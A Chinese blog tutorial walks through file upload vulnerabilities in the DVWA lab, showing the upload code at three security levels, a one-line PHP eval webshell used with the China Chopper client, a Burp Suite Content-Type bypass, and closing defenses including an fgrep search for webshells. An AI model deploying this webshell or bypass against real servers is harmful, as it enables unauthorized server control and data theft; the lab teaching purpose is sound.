网络攻防入门---文件上传漏洞及防御

朱雀 2022-12-31 01:28 209阅读 0赞

一:下载相应的工具
VMware

Kali linux2020.3下载与安装详细教程

OWASP Broken Web Apps渗透测试环境搭建和安装教程

中国菜刀下载

二:主要是使用靶机OWASP Broken Web Apps中的Damn Vulnerable Web App作为攻击目标,其中的upload存在文件上传漏洞
在这里插入图片描述
其中的DVWA Security可以设置安全等级,共有三个安全等级low,medium,high
在这里插入图片描述
三:low安全等级
此安全等级下的upload源码

  1. <?php
  2. if (isset($_POST['Upload'])) {
  3. $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
  4. $target_path = $target_path . basename( $_FILES['uploaded']['name']);
  5. if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
  6. echo '<pre>';
  7. echo 'Your image was not uploaded.';
  8. echo '</pre>';
  9. } else {
  10. echo '<pre>';
  11. echo $target_path . ' succesfully uploaded!';
  12. echo '</pre>';
  13. }
  14. }
  15. ?>

因为没有对用户上传的文件进行解析判断,而是直接将上传文件保存到服务器,恶意用户可以直接上传一句话木马到服务器再通过中国菜刀对服务器进行控制。

具体来说,上传一个携带一句话木马的PHP文件

  1. <?php @eval($_POST['chopper']);?>

在这里插入图片描述
再将该木马文件在服务器的路径添加到中国菜刀,

  1. http://192.168.232.128/dvwa/hackable/uploads/shell.php

在这里插入图片描述
接着就可以实现对目标服务器的控制,可以随意上传,删除,添加目标服务器的文件
在这里插入图片描述
添加MySQL的配置能访问目标服务器的数据库信息
在这里插入图片描述

在这里插入图片描述

四:medium安全等级

  1. <?php
  2. if (isset($_POST['Upload'])) {
  3. $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
  4. $target_path = $target_path . basename($_FILES['uploaded']['name']);
  5. $uploaded_name = $_FILES['uploaded']['name'];
  6. $uploaded_type = $_FILES['uploaded']['type'];
  7. $uploaded_size = $_FILES['uploaded']['size'];
  8. if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
  9. if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
  10. echo '<pre>';
  11. echo 'Your image was not uploaded.';
  12. echo '</pre>';
  13. } else {
  14. echo '<pre>';
  15. echo $target_path . ' succesfully uploaded!';
  16. echo '</pre>';
  17. }
  18. }
  19. else{
  20. echo '<pre>Your image was not uploaded.</pre>';
  21. }
  22. }
  23. ?>

对上传文件类型检查,只允许image/jpeg类型的文件上传,此时无法直接上传PHP文件,但是我们可以借助kali里面的工具Burp Suite,使用它的代理功能对浏览器发往服务器的请求进行拦截,然后在Burp Suite里修改请求的文件类型,这样就能成功上传文件。

在浏览器里设置代理,http proxy的地址就是kali虚拟机的IP地址,Burp Suite默认端口是8080
在这里插入图片描述
为了让虚拟机外部的浏览器也能使用kali的Burp Suite代理功能,在Burp Suite里设置监听所有端口。

在这里插入图片描述

在Burp Suite里打开拦截
在这里插入图片描述
当Burp Suite拦截到请求之后,修改Content-Type:为

  1. Content-Type:image/jpeg

就能成功上传PHP木马脚本,接下来的操作就和之前一样了
在这里插入图片描述
五:high安全等级

  1. <?php
  2. if (isset($_POST['Upload'])) {
  3. $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
  4. $target_path = $target_path . basename($_FILES['uploaded']['name']);
  5. $uploaded_name = $_FILES['uploaded']['name'];
  6. $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
  7. $uploaded_size = $_FILES['uploaded']['size'];
  8. if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
  9. if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
  10. echo '<pre>';
  11. echo 'Your image was not uploaded.';
  12. echo '</pre>';
  13. } else {
  14. echo '<pre>';
  15. echo $target_path . ' succesfully uploaded!';
  16. echo '</pre>';
  17. }
  18. }
  19. else{
  20. echo '<pre>';
  21. echo 'Your image was not uploaded.';
  22. echo '</pre>';
  23. }
  24. }
  25. ?>

此时直接通过文件后缀名判断文件类型

可以通过给图片添加一句话代码,然后上传到服务器,执行图片之后生成一句话木马(图片的执行需要利用文件包含漏洞),进行攻击。

六:如何防御
对于上传的文件要做好筛选,检测,只允许需要的文件类型上传。

使用类似waf防火墙设置规则对恶意文件拦截

若是怀疑服务器里存在类似的木马攻击,通过fgrep命令去查找类似木马的文件

  1. root@owaspbwa:/owaspbwa/dvwa-git/hackable/uploads# fgrep -R 'php @eval($_POST' /owaspbwa
  2. ./shell.php:<?php @eval($_POST['chopper']);?>

参考

发表评论

表情:
评论列表 (有 0 条评论,209人围观)

还没有评论,来说两句吧...

相关阅读

    相关 文件漏洞概述

    文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力,这种攻击方式是最为直接和有效的,有时候几乎没有什么技术门槛。 文件上传后导致的常

    相关 预防文件漏洞

    预防文件上传漏洞 1.为了防范用户上传恶意的可执行文件和脚本,以及将文件上传服务器当做免费的文件存储服务器使用,需要对上传的文件类型进行白名单(非黑名单,这点非常重要)校